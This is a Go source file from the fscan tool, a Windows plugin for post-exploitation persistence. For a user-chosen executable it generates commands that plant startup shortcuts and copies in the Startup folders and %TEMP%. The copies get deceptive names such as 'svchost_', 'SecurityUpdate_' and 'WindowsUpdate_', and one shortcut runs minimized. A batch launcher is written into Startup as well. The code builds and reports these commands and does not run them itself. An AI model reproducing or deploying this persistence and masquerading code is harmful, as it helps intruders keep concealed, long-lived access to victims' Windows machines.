fscan/plugins/local/winstartup.go

//go:build windows

package local

import (
	"context"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins"
)

// WinStartupPlugin Windows启动文件夹持久化插件 - Linus式简化版本
//
// 设计哲学：直接实现，删除过度设计
// - 删除复杂的继承体系
// - 直接实现启动文件夹持久化功能
// - 保持原有功能逻辑
type WinStartupPlugin struct {
	plugins.BasePlugin
	pePath string
}

// NewWinStartupPlugin 创建Windows启动文件夹持久化插件
func NewWinStartupPlugin() *WinStartupPlugin {
	pePath := common.WinPEFile
	if pePath == "" {
		pePath = ""
	}

	return &WinStartupPlugin{
		BasePlugin: plugins.NewBasePlugin("winstartup"),
		pePath: pePath,
	}
}



// Scan 执行Windows启动文件夹持久化 - 直接实现
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
	var output strings.Builder

	if runtime.GOOS != "windows" {
		output.WriteString("Windows启动文件夹持久化只支持Windows平台\n")
		return &ScanResult{
			Success: false,
			Output:  output.String(),
			Error:   fmt.Errorf("不支持的平台: %s", runtime.GOOS),
		}
	}

	if p.pePath == "" {
		output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n")
		return &ScanResult{
			Success: false,
			Output:  output.String(),
			Error:   fmt.Errorf("未指定PE文件"),
		}
	}

	// 检查目标文件是否存在
	if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
		output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", p.pePath))
		return &ScanResult{
			Success: false,
			Output:  output.String(),
			Error:   err,
		}
	}

	// 检查文件类型
	if !p.isValidPEFile(p.pePath) {
		output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", p.pePath))
		return &ScanResult{
			Success: false,
			Output:  output.String(),
			Error:   fmt.Errorf("无效的PE文件"),
		}
	}

	output.WriteString("=== Windows启动文件夹持久化 ===\n")
	output.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath))
	output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))

	// 创建启动文件夹持久化
	startupMethods, err := p.createStartupPersistence(p.pePath)
	if err != nil {
		output.WriteString(fmt.Sprintf("创建启动文件夹持久化失败: %v\n", err))
		return &ScanResult{
			Success: false,
			Output:  output.String(),
			Error:   err,
		}
	}

	output.WriteString(fmt.Sprintf("创建了%d个启动文件夹持久化方法:\n", len(startupMethods)))
	for i, method := range startupMethods {
		output.WriteString(fmt.Sprintf("  %d. %s\n", i+1, method))
	}
	output.WriteString("\n✓ Windows启动文件夹持久化完成\n")

	common.LogSuccess(fmt.Sprintf("Windows启动文件夹持久化完成: %d个方法", len(startupMethods)))

	return &ScanResult{
		Success: true,
		Output:  output.String(),
		Error:   nil,
	}
}

// createStartupPersistence 创建启动文件夹持久化
func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) {
	absPath, err := filepath.Abs(pePath)
	if err != nil {
		return nil, fmt.Errorf("failed to get absolute path: %v", err)
	}

	var startupMethods []string
	baseName := filepath.Base(absPath)
	baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]

	startupLocations := []struct {
		path        string
		description string
		method      string
	}{
		{
			path:        `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
			description: "Current User Startup Folder",
			method:      "shortcut",
		},
		{
			path:        `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`,
			description: "All Users Startup Folder",
			method:      "shortcut",
		},
		{
			path:        `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
			description: "Current User Startup Folder (Direct Copy)",
			method:      "copy",
		},
		{
			path:        `%TEMP%\WindowsUpdate`,
			description: "Temp Directory with Startup Reference",
			method:      "temp_copy",
		},
	}

	for _, location := range startupLocations {
		switch location.method {
		case "shortcut":
			shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt)
			shortcutPath := filepath.Join(location.path, shortcutName)

			powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`,
				shortcutPath, absPath)

			startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd))

		case "copy":
			targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt)
			targetPath := filepath.Join(location.path, targetName)
			copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)

			startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd))

		case "temp_copy":
			tempDir := filepath.Join(location.path)
			mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir)
			targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt)
			targetPath := filepath.Join(tempDir, targetName)
			copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)

			startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd))

			shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt))
			powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`,
				shortcutPath, targetPath)

			startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd))
		}
	}

	batchScript := fmt.Sprintf(`@echo off
cd /d "%%~dp0"
start "" /b "%s"
exit`, absPath)

	batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt))
	batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath)
	startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd))

	return startupMethods, nil
}

// isValidPEFile 检查是否为有效的PE文件
func (p *WinStartupPlugin) isValidPEFile(filePath string) bool {
	ext := strings.ToLower(filepath.Ext(filePath))
	return ext == ".exe" || ext == ".dll"
}

// 注册插件
func init() {
	RegisterLocalPlugin("winstartup", func() Plugin {
		return NewWinStartupPlugin()
	})
}